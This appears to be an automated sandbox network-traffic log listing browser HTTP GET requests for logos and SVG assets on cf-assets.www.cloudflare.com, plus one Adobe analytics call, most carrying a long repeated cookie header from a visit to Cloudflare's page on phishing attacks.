Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/19LKSWt3iDJ0SxqNrv3ZMN/b37231a3e6fb1bda5f182e7abecff5ee/cplogo_BW.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252Fwww
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=8674cf4a-7826-4227-b458-128d284b30bc HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/26kszL2y2X7zTR2edZPDUY/1a9d00bc8c441346e6dd06bd82204972/logo_ncr_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3JniCZlkcKI9iHgormG8j3/b94cf97c93844f2db74d566fc512aef1/logo_thomson-reuters_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253D
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5YRPa33UFrfL2zoZd2AXTq/658995f16c7ee4818875c254c18573d3/logo_zendesk_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252Fwww.cl
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F
